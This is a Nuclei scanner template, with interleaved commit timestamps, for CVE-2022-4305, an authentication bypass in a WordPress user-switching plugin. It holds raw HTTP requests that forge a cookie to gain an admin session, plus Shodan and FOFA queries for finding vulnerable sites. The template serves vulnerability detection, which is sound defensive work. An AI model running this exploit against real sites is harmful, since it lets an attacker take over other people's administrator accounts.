2023-10-17 07:20:28 +00:00
id : CVE-2022-4305
info :
name : Login as User or Customer < 3.3 - Privilege Escalation
author : r3Y3r53
severity : critical
description : |
The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
remediation : Fixed in version 3.3
reference :
- https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
- https://nvd.nist.gov/vuln/detail/CVE-2022-4305
2024-03-23 09:28:19 +00:00
- https://github.com/cyllective/CVEs
2023-10-17 07:20:28 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-4305
cwe-id : CWE-269
2024-05-31 19:23:20 +00:00
epss-score : 0.06738
epss-percentile : 0.9384
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:wp-buy:login_as_user_or_customer_\(user_switching\):*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : wp-buy
product : login_as_user_or_customer_\(user_switching\)
framework : wordpress
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/login-as-customer-or-user
fofa-query : body=/wp-content/plugins/login-as-customer-or-user
2024-06-07 10:04:29 +00:00
publicwww-query : /wp-content/plugins/login-as-customer-or-user
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass,wp-buy
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
Host : {{Hostname}}
Cookie : loginas_old_user_id=1
2023-10-17 16:37:11 +00:00
- |
GET /wp-admin/users.php HTTP/1.1
Host : {{Hostname}}
2023-10-17 07:20:28 +00:00
matchers :
- type : dsl
dsl :
2023-10-17 16:37:11 +00:00
- status_code_2 == 200
- contains(header_2, "text/html")
- contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')
2023-10-17 07:20:28 +00:00
condition : and
2024-06-01 06:53:00 +00:00
# digest: 490a0046304402204036ea21962a8358bf28cfe4e30afd87bee2fbd81960480db8568c56da29777902207c2d8fa3bae877879ef164102d75f536f8c843c4e1d443c9bc9c73c33417d370:922c64590222798bb761d5b6d8e72950